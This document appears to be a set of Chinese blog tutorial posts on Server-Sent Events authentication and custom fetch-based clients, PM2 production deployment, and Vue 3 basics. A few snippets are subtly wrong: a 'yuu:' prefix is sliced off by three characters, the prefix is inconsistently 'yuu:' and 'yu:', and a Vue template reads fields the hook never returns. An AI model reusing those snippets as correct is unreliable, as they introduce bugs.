* 这种消息不指定 `event:` 字段，属于 **默认事件类型**。

**自定义事件**：

```http
event: myevent
data: 自定义事件消息内容\n\n
```

* `event:` 指定事件名称。

* 前端可以用 `addEventListener('myevent', handler)` 专门监听该事件。

**一个 SSE 连接可以同时发送多种事件类型**。

**多种事件同时发送**

```js
setInterval(() => {
  res.write(`data: 默认消息 ${Date.now()}\n\n`);
  res.write(`event: heartbeat\ndata: 心跳 ${Date.now()}\n\n`);
}, 2000);
```

前端可以这样处理：

```js
source.onmessage = (e) => console.log('默认:', e.data);
source.addEventListener('heartbeat', (e) => console.log('心跳:', e.data));
```

这样一个 SSE 连接就可以同时推送多种类型的消息，非常适合 **长连接、状态流、实时通知**。

## 安全鉴权

在现实开发中，SSE（Server-Sent Events）通常用于 **实时消息推送**，但涉及鉴权和跨浏览器兼容时，有一些特殊注意事项。

### 原生 EventSource 的鉴权限制

原生 `EventSource` **无法自定义 HTTP 请求头**：

```js
const source = new EventSource('/sse', {
  withCredentials: true // 可以携带 cookies，但无法自定义 headers
});
```

如果服务端要求鉴权（比如 JWT Token）：

**不安全的做法**：把 token 拼接到 URL 上：

```js
const source = new EventSource(`/sse?token=${token}`);
```

URL 会暴露在浏览器历史、日志和代理中，不安全。

**推荐做法**：使用 cookies 携带 token。

* 前端通过 `withCredentials: true` 发送请求时，会自动携带同域 cookies。
* 服务端读取 cookies 并验证鉴权。

### 注意事项

**跨域请求**：

* `withCredentials: true` 要求服务端允许 `Access-Control-Allow-Credentials: true`。
* 并且 `Access-Control-Allow-Origin` 不能使用 `*`，必须指定域名。

**JWT + Cookie**：

* 前端开启 `withCredentials: true`。
* 服务端读取 cookie 并验证 JWT。

**自定义请求头**：

* 原生 `EventSource` 不支持。
* 如果必须自定义请求头（例如 `Authorization: Bearer ...`），就需要**自定义 SSE 客户端**。

### 原生 EventSource 的兼容性

**IE 不支持**原生 `EventSource`。

为了兼容，可以：

使用 **polyfill**：

[event-source-polyfill](https://github.com/Yaffle/EventSource) 支持：

* 自定义请求头
* `withCredentials`
* IE 兼容

或者自行实现 SSE 客户端。

### 自定义 SSE 客户端实现原理

自定义 SSE 客户端的核心是 **通过 Fetch API 获取可读流**，然后自己解析流中的数据。

#### 核心步骤

发起请求，获取可读流

```js
const res = await fetch('/sse', {
  headers: { 'Authorization': 'Bearer ' + token },
  credentials: 'include' // 可选，携带 cookies
});

const reader = res.body.getReader(); // 获取可读流的读取对象
```

`res.body.getReader()` 返回一个 **流读取器**，可以逐块读取服务端发送的数据。

**创建文本解码器**

```js
const decoder = new TextDecoder('utf-8');
```

**作用**：

* 可读流返回的是 **Uint8Array**（字节数组）。
* `TextDecoder.decode(value, { stream: true })` 将字节数组解码成字符串。
* `{ stream: true }` 表示流式解码，支持分块拼接。

**循环读取数据**

```js
let buffer = '';

while (true) {
  const { done, value } = await reader.read();
  if (done) break; // 流读取完毕
  
  buffer += decoder.decode(value, { stream: true }); // 解码字节数组

  // 按行解析 SSE 消息
  let lines = buffer.split('\n');
  buffer = lines.pop(); // 保留未完整的行
  
  for (const line of lines) {
    // 解析自定义前缀，比如 'yuu:' 开头
    if (line.startsWith('yuu:')) {
      const msg = line.slice(3).trim();
      console.log('收到消息:', msg);
    }
  }
}
```

#### 核心点总结

* **可读流**返回的是 `Uint8Array`，需要文本解码器转成字符串。
* **文本编码器/解码器**（`TextEncoder` / `TextDecoder`）：
  * 用于**字节数组 ↔ 字符串**转换
  * 流式模式 (`stream: true`) 可以拼接跨块消息
* **自定义协议**：
  * 可以使用固定前缀（如 `yuu:`）代替 `data:`，防止浏览器默认解析或警告
* **逐行解析**：
  * 需要自己处理 `\n` 换行符
  * 可以按事件类型解析自定义事件、id 等字段

### 自定义 SSE 客户端优缺点

#### 优点

* 可携带自定义请求头（Authorization）
* 可自定义消息格式（不用受浏览器限制）
* 兼容不支持原生 `EventSource` 的环境（IE/老浏览器）
* 可灵活处理断线重连策略

#### 缺点

* 实现复杂，需手动解析流、处理拆分、拼接消息
* 长连接需要手动管理心跳、重连等机制

### 实际开发中的替代方案

**event-source-polyfill**：

* 可以在 IE 中使用
* 支持自定义请求头和 `withCredentials`
* 避免手动实现流解析逻辑

示例：

```js
import 'event-source-polyfill';

const source = new EventSourcePolyfill('/sse', {
  headers: { 'Authorization': 'Bearer ' + token },
  withCredentials: true
});

source.onmessage = (e) => console.log('收到消息:', e.data);
```

### 总结

**原生 EventSource**：

* 不能自定义请求头，只能通过 cookies 携带 token
* 支持 `withCredentials` 携带 cookie
* IE 不支持

**自定义 SSE 客户端**：

* 通过 `fetch` + 可读流实现
* 使用 `TextDecoder` 解码字节数组
* 可自定义协议（例如 `yu:` 前缀）
* 可携带任意请求头（Authorization）

**安全性**：

* URL 传 token 不安全
* 建议通过 cookies 或自定义请求头

**推荐**：

* 如果兼容性和请求头需求不复杂，用 **event-source-polyfill**
* 如果需要完全自定义，可实现自己的 SSE 客户端

## 最佳实践

在控制台可以看到 SSE 的请求类型

也就是说一个接口可以定义很多个事件，完成很多的功能

客户端中，如果通信完毕，记得关闭事件

## 本质

sse 的本质是以可读流的方式逐个按字节给客户端传输文本，并且 http 是一直连接的，所以服务器可以一直通过连接推送信息

本质上就是一个 get 请求，只不过要按流解析返回

## 自定义 SSE 客户端示例

* 可自定义请求头（携带 token）
* 支持 `withCredentials`（携带 cookies）
* 自定义事件解析（支持自定义前缀，比如 `yu:`）
* 支持默认事件和自定义事件
* 支持 `onmessage` 和 `addEventListener`
* 自动重连机制（可配置）

```js
class CustomEventSource {
  constructor(url, options = {}) {
    this.url = url;
    this.headers = options.headers || {};
    this.withCredentials = !!options.withCredentials;
    this.retry = options.retry || 3000; // 重连间隔
    this.listeners = {}; // 事件监听器
    this.onmessage = null; // 默认事件回调
    this.closed = false;
    this.lastEventId = '';
    this._connect();
  }

  // 注册自定义事件
  addEventListener(event, callback) {
    if (!this.listeners[event]) this.listeners[event] = [];
    this.listeners[event].push(callback);
  }

  // 内部方法：触发事件
  _dispatchEvent(event, data) {
    if (event === 'message' && this.onmessage) {
      this.onmessage({ data });
    }
    if (this.listeners[event]) {
      this.listeners[event].forEach(cb => cb({ data }));
    }
  }

  // 主动关闭连接
  close() {
    this.closed = true;
    if (this.controller) this.controller.abort();
  }

  // 内部方法：连接 SSE
  async _connect() {
    if (this.closed) return;
    try {
      this.controller = new AbortController();
      const signal = this.controller.signal;

      // 构建 fetch 请求
      const res = await fetch(this.url, {
        headers: {
          ...this.headers,
          'Cache-Control': 'no-cache',
          'Accept': 'text/event-stream',
        },
        credentials: this.withCredentials ? 'include' : 'same-origin',
        signal
      });

      if (!res.body) throw new Error('SSE not supported in this environment');

      const reader = res.body.getReader();
      const decoder = new TextDecoder('utf-8');
      let buffer = '';

      while (!this.closed) {
        const { done, value } = await reader.read();
        if (done) break;
        buffer += decoder.decode(value, { stream: true });

        let lines = buffer.split('\n');
        buffer = lines.pop(); // 保留未完整的行

        for (let line of lines) {
          line = line.trim();
          if (!line) continue;

          // 支持自定义前缀，比如 'yu:' 或默认 'data:'
          let eventType = 'message';
          let data = '';
          if (line.startsWith('event:')) {
            eventType = line.slice(6).trim();
          } else if (line.startsWith('yu:')) {
            eventType = 'yu'; // 自定义事件类型
            data = line.slice(3).trim();
            this._dispatchEvent(eventType, data);
            continue;
          } else if (line.startsWith('data:')) {
            data = line.slice(5).trim();
            this._dispatchEvent(eventType, data);
          } else if (line.startsWith('id:')) {
            this.lastEventId = line.slice(3).trim();
          }
        }
      }

    } catch (err) {
      if (!this.closed) {
        console.warn('SSE连接异常，尝试重连：', err);
        setTimeout(() => this._connect(), this.retry);
      }
    }
  }
}
```

**使用示例**

```js
// 创建自定义 SSE 客户端
const source = new CustomEventSource('/sse', {
  headers: { 'Authorization': 'Bearer mytoken123' },
  withCredentials: true,
  retry: 5000
});

// 默认事件
source.onmessage = (e) => {
  console.log('默认事件:', e.data);
};

// 自定义事件
source.addEventListener('yu', (e) => {
  console.log('自定义事件 yu:', e.data);
});

// 主动关闭连接
// source.close();
```

**功能特点**

**原生 EventSource 功能兼容**

* `onmessage`（默认事件）
* `addEventListener('event', callback)`（自定义事件）
* 自动重连

**增强功能**

* 自定义请求头（可携带 token）
* 支持 `withCredentials`（cookies 鉴权）
* 自定义事件解析（支持 `yu:` 前缀）
* 支持 `id:` 字段保存 lastEventId，可扩展断线重连逻辑
* 可配置重连间隔

**可扩展**

* 可以自定义前缀解析规则
* 可以扩展 `retry:` 逻辑支持动态调整
* 可加入心跳检测和长连接超时处理

**说明**

* 每条消息都需要 **完整的 SSE 格式**，否则不会触发事件回调。
* `decoder.decode(value, { stream: true })` 用于将 **Uint8Array 字节数组** 解码成字符串，支持分块流式处理。
* 如果你需要在 IE 或不支持 EventSource 的浏览器使用，可以用这个自定义客户端替代原生 EventSource。
* 服务器端仍然遵守 SSE 协议即可，客户端解析逻辑可完全自定义（例如固定 `yu:` 前缀）。

---

---
url: /posts/1z2u72cc/index.md
---
**推荐方式：ecosystem 配置文件**（而不是 pm2 start app.js 一把梭）

好处：可版本管理、参数可追溯、支持多环境、支持集群、统一日志、可一键 reload。

## 安装

```bash
npm i -g pm2
```

```bash
pm2 -v
```

如果服务器有多个 node 版本（nvm），确保你在正确的 node 环境里装的 pm2：

```bash
which node
which pm2
node -v
pm2 -v
```

在项目中需要明确 **启动命令**是哪一个，不太推荐在 pm2 里包一层 npm（`npm run start`），但也可用，建议优先用 **node 直接跑入口文件**，更稳定、少一层壳。

## 配置文件

在项目根目录创建：

```bash
pm2 ecosystem
```

会生成 `ecosystem.config.js`，然后改成下面这种“生产级模板”。

## 通用模板

`pm2 ecosystem` 生成的是“通用模板”，会把 **apps**（进程定义）+ **deploy**（可选的 PM2 部署系统）一起塞进来。

```js
module.exports = {
  apps : [{
    script: 'index.js',
    watch: '.'
  }, {
    script: './service-worker/',
    watch: ['./service-worker']
  }],

  deploy : {
    production : {
      user : 'SSH_USERNAME',
      host : 'SSH_HOSTMACHINE',
      ref  : 'origin/master',
      repo : 'GIT_REPOSITORY',
      path : 'DESTINATION_PATH',
      'pre-deploy-local': '',
      'post-deploy' : 'npm install && pm2 reload ecosystem.config.js --env production',
      'pre-setup': ''
    }
  }
};
```

`module.exports = { ... }` Node 的 CommonJS 导出语法，PM2 读取这个对象作为配置。

`apps: [...]` 是“进程定义列表”

`script: 'index.js'`

* PM2 启动时执行的入口。
* 等价于：`node index.js`（默认 interpreter 是 node）

`watch: '.'`

* 监控当前目录（`.`）文件变化，变了就自动重启进程。
* **这是开发友好，但生产通常不建议开**：日志文件、临时文件、上传文件、构建产物变化都可能触发重启，造成抖动。
* 生产建议：`watch: false` 或者精确 watch 某些源码目录 + ignore。

`script: './service-worker/'`

* 这里 PM2 猜测你可能有一个独立服务（比如一个目录下的 worker）。
* 但注意：**script 通常应该指向“可执行入口文件”**，比如 `./service-worker/index.js`。
* 如果你写的是目录，PM2/Node 未必能正确启动（取决于该目录是否有 `package.json` 的 main 或 index.js 等）。生产里建议你明确写成：`script: "./service-worker/index.js"` 或 `script: "service-worker/dist/worker.js"` 之类。

`watch: ['./service-worker']` 监控 `service-worker` 目录变化自动重启这个进程（同样生产一般关掉或谨慎设置）。

`deploy: { production: {...} }` 是“PM2 的远程部署系统

这一块很多人不用（因为现在更常见 GitHub Actions / Jenkins / Ansible / Docker / k8s），但它确实是 PM2 自带的“一键部署”能力：你在本地运行 `pm2 deploy ecosystem.config.js production`，PM2 会 SSH 到服务器，拉代码、装依赖、跑 post-deploy 脚本。

**PM2 的 deploy 在现代团队里基本被 CI/CD（GitHub Actions / GitLab CI / Jenkins）取代了**。原因很简单：CI 更好审计、更安全（权限与密钥管理）、更容易做多环境、多步骤（测试/构建/制品/回滚）、也更符合现在的发布链路。

## 生产级 ecosystem.config.js 示例

```js
/**
 * PM2 配置文件：ecosystem.config.js
 * 推荐把它跟项目代码一起放仓库，方便追踪与回滚。
 */
module.exports = {
  /**
   * apps: 进程应用列表（可以配置多个应用）
   */
  apps: [
    {
      /**
       * name: 在 pm2 里显示的应用名
       */
      name: "myapp",

      /**
       * cwd: 工作目录（非常推荐写死，避免你从别的目录启动时路径错乱）
       */
      cwd: "/var/www/myapp",

      /**
       * script: 入口文件（推荐 node 直接跑编译后的产物，如 dist/index.js）
       * 你按自己项目入口改：
       * - 纯 JS：server.js / app.js
       * - TS 编译后：dist/index.js
       */
      script: "dist/index.js",

      /**
       * args: 给脚本传参数（可选）
       * 比如：node dist/index.js --port 3000
       */
      // args: "--port 3000",

      /**
       * interpreter: 解释器（默认 node）
       * 一般不用写，除非你要用 bun/deno 或指定 node 路径
       */
      // interpreter: "node",

      /**
       * instances: 实例数
       * - "max"：按 CPU 核心数开满（推荐用于无状态 Web 服务）
       * - 1：单实例（适合有状态/占资源大/不支持多实例的服务）
       */
      instances: "max",

      /**
       * exec_mode:
       * - "cluster"：集群模式（推荐用于 Web 服务，提高吞吐与容灾）
       * - "fork"：单进程模式
       */
      exec_mode: "cluster",

      /**
       * watch: 是否监控文件变更自动重启
       * 生产环境一般关闭（false），避免日志/临时文件触发重启
       */
      watch: false,

      /**
       * autorestart: 异常退出后自动重启（生产建议开启）
       */
      autorestart: true,

      /**
       * max_restarts: 最大重启次数（避免反复崩溃死循环）
       */
      max_restarts: 10,

      /**
       * restart_delay: 每次重启延迟（毫秒）
       */
      restart_delay: 2000,

      /**
       * min_uptime: 进程存活小于这个时间就算“启动失败”
       * 配合 max_restarts 防止一直抖动
       */
      min_uptime: "10s",

      /**
       * max_memory_restart: 超过内存阈值自动重启（防止内存泄漏拖垮机器）
       * 根据你机器内存调整，比如 300M/512M/1G
       */
      max_memory_restart: "512M",

      /**
       * env: 默认环境变量（相当于开发/默认）
       */
      env: {
        NODE_ENV: "production",
        PORT: 3000,
      },

      /**
       * env_production: 生产环境变量（使用 --env production 时生效）
       */
      env_production: {
        NODE_ENV: "production",
        PORT: 3000,
      },

      /**
       * out_file / error_file: 标准输出 / 错误输出日志文件
       * 推荐统一放到 /var/log/pm2/ 或项目 logs/ 目录
       */
      out_file: "/var/log/pm2/myapp-out.log",
      error_file: "/var/log/pm2/myapp-err.log",

      /**
       * merge_logs: 多实例时合并日志到同一文件（方便查看）
       */
      merge_logs: true,

      /**
       * log_date_format: 日志时间格式
       */
      log_date_format: "YYYY-MM-DD HH:mm:ss.SSS",

      /**
       * time: 给 pm2 log 增加时间戳（可选）
       */
      time: true,
    },
  ],
};
```

日志目录别忘了建

## 用配置文件启动

### 启动

```bash
cd /var/www/myapp
pm2 start ecosystem.config.js --env production
```

### 查看状态

```bash
pm2 ls
pm2 status
```

### 看日志

```bash
pm2 logs myapp
# 或只看最近 200 行
pm2 logs myapp --lines 200
```

## 优雅重载

代码更新，然后：

### 方式 A：reload（推荐，尽量不停机）

```bash
pm2 reload ecosystem.config.js --env production
```

### 方式 B：restart（会中断更明显）

```bash
pm2 restart ecosystem.config.js --env production
```

## 开机自启

PM2 提供 systemd 集成：

```bash
pm2 startup
```

它会输出一条 **需要你复制执行的 sudo 命令**（照着执行即可）。

然后保存当前进程列表：

```bash
pm2 save
```

验证重启后是否自动起来：

```bash
sudo reboot # 服务器会立刻重启
# 重连后
pm2 ls
```

## 常用命令速查

### 进程管理

```bash
pm2 ls                 # 列表
pm2 describe myapp     # 详细信息
pm2 stop myapp         # 停止
pm2 start myapp        # 启动（已存在配置/记录时）
pm2 restart myapp      # 重启
pm2 reload myapp       # 优雅重载（集群推荐）
pm2 delete myapp       # 删除进程记录
```

### 配置文件方式（更推荐）

```bash
pm2 start ecosystem.config.js --env production
pm2 reload ecosystem.config.js --env production
pm2 restart ecosystem.config.js --env production
pm2 delete ecosystem.config.js
```

### 日志与监控

```bash
pm2 logs myapp --lines 200
pm2 monit              # 交互式监控（CPU/内存/重启次数）
```

### 保存与恢复（自启相关）

```bash
pm2 save               # 保存当前进程列表（dump）
pm2 resurrect          # 从 dump 恢复
```

### PM2 日志轮转

```bash
pm2 install pm2-logrotate
pm2 set pm2-logrotate:max_size 50M
pm2 set pm2-logrotate:retain 10
pm2 set pm2-logrotate:compress true
```

## 生产实践建议

* **script 指向真实入口文件**（如 dist/index.js），尽量别用 `npm run start` 包一层（除非必须）。
* **cluster + instances=max** 适合无状态 Web 服务；如果你有定时任务/队列消费者，可能要 fork + 单实例，或拆成第二个 app。
* **max\_memory\_restart** 强烈建议设置。

## 一键上线

```bash
npm i -g pm2

cd /var/www/myapp
pm2 ecosystem   # 生成配置，按需修改 script/cwd/env/log

sudo mkdir -p /var/log/pm2
sudo chown -R $USER:$USER /var/log/pm2

pm2 start ecosystem.config.js --env production
pm2 ls
pm2 logs myapp --lines 200

pm2 startup
# 执行它提示你的那条 sudo 命令
pm2 save
```

---

---
url: /posts/2bddakju/index.md
---
# Vue3 快速入门
## Setup

### setup 的返回值

* 若返回一个**对象**：则对象中的：属性、方法等，在模板中均可以直接使用\*\*（重点关注）。\*\*
* 若返回一个**函数**：则可以自定义渲染内容，代码如下：

```jsx
setup(){
  return ()=> '你好啊！'
}
```

### setup 与 Options API 的关系

* `Vue2` 的配置（`data`、`methos`......）中**可以访问到** `setup`中的属性、方法。
* 但在`setup`中**不能访问到**`Vue2`的配置（`data`、`methos`......）。
* 如果与`Vue2`冲突，则`setup`优先。

### 语法糖

```js
<script lang="ts">
export default {
    name: "Person"
}
</script>
```

如果组件中有两个`script`，一个配置API的，一个是配置组件名字的

还需要编写一个不写`setup`的`script`标签，去指定组件名字，比较麻烦，我们可以借助`vite`中的插件简化

1. 第一步：`npm i vite-plugin-vue-setup-extend -D`
2. 第二步：`vite.config.ts`

```jsx
import { defineConfig } from 'vite'
import VueSetupExtend from 'vite-plugin-vue-setup-extend'

export default defineConfig({
  plugins: [ VueSetupExtend() ]
})
```

1. 第三步：`<script setup lang="ts" name="Person">`

## Reactive

**注意点：**`reactive`定义的响应式数据是“**深层次**”的。

## Ref

* 其实`ref`接收的数据可以是：**基本类型**、**对象类型**。
* 若`ref`接收的是对象类型，内部其实也是调用了`reactive`函数

> 在设置Vue中，可以更该设置，自动添加 .value

区别：

`reactive`重新分配一个新对象，会**失去**响应式（可以使用`Object.assign`去整体替换）。

```js
Object.assign(array,{id:11,name:'lol',age:123})
// 顶掉之前的属性(覆盖)
// ref类型数据就可以重新分配一个新的对象
```

使用原则：

> 1. 若需要一个基本类型的响应式数据，必须使用`ref`。
> 2. 若需要一个响应式对象，**层级不深**，`ref`、`reactive`都可以。
> 3. 若需要一个响应式对象，且**层级较深**，推荐使用`reactive`。

## toRef

* 作用：将一个响应式对象中的每一个属性，转换为`ref`对象。

* 备注：`toRefs`与`toRef`功能一致，但`toRefs`可以批量转换。

* 语法如下：

  ```js
  // 数据
    let person = reactive({name:'张三', age:18, gender:'男'})
  	
    // 通过toRefs将person对象中的n个属性批量取出，且依然保持响应式的能力
    let {name,gender} =  toRefs(person)
  	
    // 通过toRef将person对象中的gender属性取出，且依然保持响应式的能力
    let age = toRef(person,'age')

  ```

## computed

数据与页面双向绑定`v-model:value='值'`

```js
// 计算属性——只读取，不修改
     let fullName = computed(()=>{
      return firstName.value + '-' + lastName.value
    }) 
```

```js
// 计算属性——既读取又修改
    let fullName = computed({
      // 读取
      get(){
        return firstName.value + '-' + lastName.value
      },
      // 修改
      set(val){
        console.log('有人修改了fullName',val)
        firstName.value = val.split('-')[0]
        lastName.value = val.split('-')[1]
      }
    })
```

特点：它所依赖的**数据**只要发生变化它就**重新计算**

并且计算属性有缓存，多次调用不会反复执行（与函数不同）

## Watch

特点：`Vue3`中的`watch`只能监视以下**四种数据**：

1. `ref`定义的数据。
2. `reactive`定义的数据。
3. 函数返回一个值（`getter`函数）。
4. 一个包含上述内容的数组。

### 情况一

​    `import {ref,watch} from 'vue'`

```js
// 监视，情况一：监视【ref】定义的【基本类型】数据
    const stopWatch = watch(sum,(newValue,oldValue)=>{
      console.log('sum变化了',newValue,oldValue)
      if(newValue >= 10){
        stopWatch() // 停止监视
      }
    })
```

### 情况二

监视`ref`定义的【对象类型】数据：直接写**数据名**，监视的是对象的【**地址值**】，若想监视对象内部的数据，要手动**开启深度监视。**

> 注意：
>
> * 若修改的是`ref`定义的对象中的属性，`newValue` 和 `oldValue` **都是新值**，因为它们是同一个对象。
> * 若修改整个`ref`定义的对象，`newValue` 是新值， `oldValue` 是旧值，因为不是同一个对象了。

```js
// 数据
  let person = ref({
    name:'张三',
    age:18
  })
  
   /* 
    监视，情况一：监视【ref】定义的【对象类型】数据，监视的是对象的地址值，若想监视	对象内部属性的变化，需要手动开启深度监视
    watch的第一个参数是：被监视的数据
    watch的第二个参数是：监视的回调
    watch的第三个参数是：配置对象（deep、immediate等等.....） 
  */
  watch(person,(newValue,oldValue)=>{
    console.log('person变化了',newValue,oldValue)
  },{deep:true,})
// 配置项 immediate:true 立即监视
```

### 情况三

监视`reactive`定义的【对象类型】数据，且默认开启了**深度监视**。

```js
// 数据
  let person = reactive({
    name:'张三',
    age:18
  })
  let obj = reactive({
    a:{
      b:{
        c:666
      }
    }
  })
  
  // 监视，情况三：监视【reactive】定义的【对象类型】数据，且默认是开启深度监视的
  watch(person,(newValue,oldValue)=>{
    console.log('person变化了',newValue,oldValue)
  })
  watch(obj,(newValue,oldValue)=>{
    console.log('Obj变化了',newValue,oldValue)
  })
```

### 情况四

监视`ref`或`reactive`定义的【对象类型】数据中的**某个属性**，注意点如下：

1. 若该属性值**不是**【对象类型】，需要写成函数形式。
2. 若该属性值是**依然**是【对象类型】，可直接编，也可写成函数，建议写成函数。

结论：监视的要是对象里的属性，那么最好写函数式，注意点：**若是对象监视的是地址值，需要关注对象内部，需要手动开启深度监视**。

```js
// 数据
    let person = reactive({
      name:'张三',
      age:18,
      car:{
        c1:'奔驰',
        c2:'宝马'
      }
    })
    
    // 监视，情况四：监视响应式对象中的某个属性，且该属性是基本类型的，要写成函数式
     watch(()=> person.name,(newValue,oldValue)=>{
      console.log('person.name变化了',newValue,oldValue)
    }) 
  
    // 监视，情况四：监视响应式对象中的某个属性，且该属性是对象类型的，可以直接写，也能写函数，更推荐写函数
    watch(()=>person.car,(newValue,oldValue)=>{
      console.log('person.car变化了',newValue,oldValue)
    },{deep:true})
```

> getter函数就是一个能返回值的函数

### 情况无

监视上述的多个数据

```js
// 监视，情况五：监视上述的多个数据
    watch([()=>person.name,person.car],(newValue,oldValue)=>{
      console.log('person.car变化了',newValue,oldValue)
    },{deep:true})
```

## WatchEffect

官网解释：立即执行一个函数，同时响应的追踪其依赖，并在依赖更改时重新执行函数

watch和watchEffect对比：

* watch需要指出监视的数据
* watchEffect不用明确指出监视的数据，自动跟踪依赖的数据

```js
 // 用watch实现，需要明确的指出要监视：temp、height
  watch([temp,height],(value)=>{
    // 从value中获取最新的temp值、height值
    const [newTemp,newHeight] = value
    // 室温达到50℃，或水位达到20cm，立刻联系服务器
    if(newTemp >= 50 || newHeight >= 20){
      console.log('联系服务器')
    }
  })

  // 用watchEffect实现，不用
  const stopWtach = watchEffect(()=>{
    // 室温达到50℃，或水位达到20cm，立刻联系服务器
    if(temp.value >= 50 || height.value >= 20){
      console.log(document.getElementById('demo')?.innerText)
      console.log('联系服务器')
    }
    // 水温达到100，或水位达到50，取消监视
    if(temp.value === 100 || height.value === 50){
      console.log('清理了')
      stopWtach()
    }
  })
```

## 标签Ref

作用：用于注册模版引用

* 用在普通DOM元素上，获取的时**DOM节点**
* 用在组件标签上，获取的是**组件实例对象**

```js
 <h1 ref="title1">尚硅谷</h1>
 let title1 = ref()
 function showLog(){
       console.log(title1.value)
 }
```

```js
<!-- 父组件App.vue -->
<template>
  <Person ref="ren"/>
  <button @click="test">测试</button>
</template>

<script lang="ts" setup name="App">
  import Person from './components/Person.vue'
  import {ref} from 'vue'

  let ren = ref()

  function test(){
    console.log(ren.value.name)
    console.log(ren.value.age)
  }
</script>


<!-- 子组件Person.vue中要使用defineExpose暴露内容 -->
<script lang="ts" setup name="Person">
  import {ref,defineExpose} from 'vue'
	// 数据
  let name = ref('张三')
  let age = ref(18)
  /****************************/
  /****************************/
  // 使用defineExpose将组件中的数据交给外部
  defineExpose({name,age})
</script>
```

### 子传父

子组件通过defineExpose({MyName:name,Age:age})将数据交出给外部，外部通过组件标签的ref属性即可读取

> 简写：defineExpose({name,age})

## props

### 父传子

```ts
// 定义一个接口，用于限制每个Person对象的格式
export interface PersonInter{
    id:string,
    name:string,
    age:number
}

// 定义一个自定义类型Persons
export type Persons = Array<PersonInter>
    
    //第一种使用接口方法
//    let users:Array<PersonInter>=reactive([
//   {id:'dfgg01',name:'lik',age:11},
//   {id:'dfgg02',name:'lik2',age:131},
//   {id:'dfgg03',name:'li3k',age:113}
// ])
    // 第二种
    let users=reactive<Persons>([
  {id:'dfgg01',name:'lik',age:11},
  {id:'dfgg02',name:'lik2',age:131},
  {id:'dfgg03',name:'li3k',age:113}
])
```

```js
// 引入类型接口!!!
import {type PersonInter} from '@/types'

// 父组件传递数据
<Person :list="persons"/>

// 子组件接受数据
   
  // 第一种写法：仅接收
// const props = defineProps(['list'])
  
  // 第二种写法：接收+限制类型
// defineProps<{list:Persons}>()
  
  // 第三种写法：接收+限制类型+指定默认值+限制必要性	（注意引入withDefaults）
let props = withDefaults(defineProps<{list?:Persons}>(),{
     list:()=>[{id:'asdasg01',name:'小猪佩奇',age:18}]
  })
```

## 生命周期

概念：Vue组件实例在创建时要经历一系列的初始化步骤，在此过程中`Vue`会在**合适的时机，调用特定的函数**，从而让开发者有机会在特定阶段运行自己的代码，这些特定的函数统称为：生命周期钩子

生命周期整体分为四个阶段，分别是：**创建、挂载、更新、销毁**，每个阶段都有两个钩子，一前一后。

`Vue2`的生命周期

> 创建阶段：`beforeCreate`、`created`
>
> 挂载阶段：`beforeMount`、`mounted`
>
> 更新阶段：`beforeUpdate`、`updated`
>
> 销毁阶段：`beforeDestroy`、`destroyed`

`Vue3`的生命周期

> 创建阶段：`setup`
>
> 挂载阶段：`onBeforeMount`、`onMounted`
>
> 更新阶段：`onBeforeUpdate`、`onUpdated`
>
> 卸载阶段：`onBeforeUnmount`、`onUnmounted`

常用的钩子：`onMounted`(挂载完毕)、`onUpdated`(更新完毕)、`onBeforeUnmount`(卸载之前)

## Hooks

Hooks定义：本质是一个函数，把setup函数中的`Composition API`(组合式API)进行了封装，类似Vue2中的Mixin

优点：复用代码，逻辑清晰

一般在SRC文件夹中新建hooks文件夹存放封装API

**数据和方法要包在一个函数里面，并且暴露 ，最后向外提供东西return**

示例代码：

* `useSum.ts`中内容如下：

  ```js
  import {ref,onMounted} from 'vue'

  export default function(){
    let sum = ref(0)

    const increment = ()=>{
      sum.value += 1
    }
    const decrement = ()=>{
      sum.value -= 1
    }
    onMounted(()=>{
      increment()
    })

    //向外部暴露数据
    return {sum,increment,decrement}
  }		
  ```

* `useDog.ts`中内容如下：

  ```js
  import {reactive,onMounted} from 'vue'
  import axios,{AxiosError} from 'axios'

  export default function(){
    let dogList = reactive<string[]>([])

    // 方法
    async function getDog(){
      try { 
        // 发请求
        let {data} = await axios.get('https://dog.ceo/api/breed/pembroke/images/random')
        // 维护数据
        dogList.push(data.message)
      } catch (error) {
        // 处理错误
        const err = <AxiosError>error
        console.log(err.message)
      }
    }

    // 挂载钩子
    onMounted(()=>{
      getDog()
    })
  	
    //向外部暴露数据
    return {dogList,getDog}
  }
  ```

* 组件中具体使用：

  ```vue
  <template>
    <h2>当前求和为：{{sum}}</h2>
    <button @click="increment">点我+1</button>
    <button @click="decrement">点我-1</button>
    <hr>
    <img v-for="(u,index) in dogList.urlList" :key="index" :src="(u as string)"> 
    <span v-show="dogList.isLoading">加载中......</span><br>
    <button @click="getDog">再来一只狗</button>
  </template>

  <script lang="ts">
    import {defineComponent} from 'vue'

    export default defineComponent({
      name:'App',
    })
  </script>

  <script setup lang="ts">
    import useSum from './hooks/useSum'
    import useDog from './hooks/useDog'
  	
    let {sum,increment,decrement} = useSum()
    let {dogList,getDog} = useDog()
  </script>
  ```

***

## 路由

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744108744_0.png)

安装路由：`npm i vue-router`

凡是涉及到路由，在src建文件夹router

```js
//路由配置文件代码
import {createRouter,createWebHistory} from 'vue-router'
import Home from '@/pages/Home.vue'
import News from '@/pages/News.vue'
import About from '@/pages/About.vue'

const router = createRouter({
	history:createWebHistory(), // 路由工作模式
	routes:[
		{
			path:'/home',
			component:Home
		},
		{
			path:'/about',
			component:About
		}
	]
})
export default router
```

```js
// 使用路由配置文件
import router from './router/index'
const app=createApp(App)

app.use(router)

app.mount('#app')
```

```vue
// 切换区及展示区
<template>
  <div class="app">
    <h2 class="title">Vue路由测试</h2>
    <!-- 导航区 -->
    <div class="navigate">
      <RouterLink to="/home" active-class="active">首页</RouterLink>
      <RouterLink to="/news" active-class="active">新闻</RouterLink>
      <RouterLink to="/about" active-class="active">关于</RouterLink>
    </div>
    <!-- 展示区 -->
    <div class="main-content">
      <RouterView></RouterView>
    </div>
  </div>
</template>

<script lang="ts" setup name="App">
  import {RouterLink,RouterView} from 'vue-router'  
</script>
```

### 注意

1. 路由组件通常存放在`pages` 或 `views`文件夹，一般组件通常存放在`components`文件夹。
2. 通过点击导航，视觉效果上“消失” 了的路由组件，默认是被**卸载**掉的，需要的时候再去**挂载**。

### 工作模式

1. `history`模式

   > 优点：`URL`更加美观，不带有`#`，更接近传统的网站`URL`。
   >
   > 缺点：后期项目上线，需要服务端配合处理路径问题，否则刷新会有`404`错误。
   >
   > ```js
   > const router = createRouter({
   >   	history:createWebHistory(), //history模式
   >   	/******/
   > })
   > ```

2. `hash`模式

   > 优点：兼容性更好，因为不需要服务器端处理路径。
   >
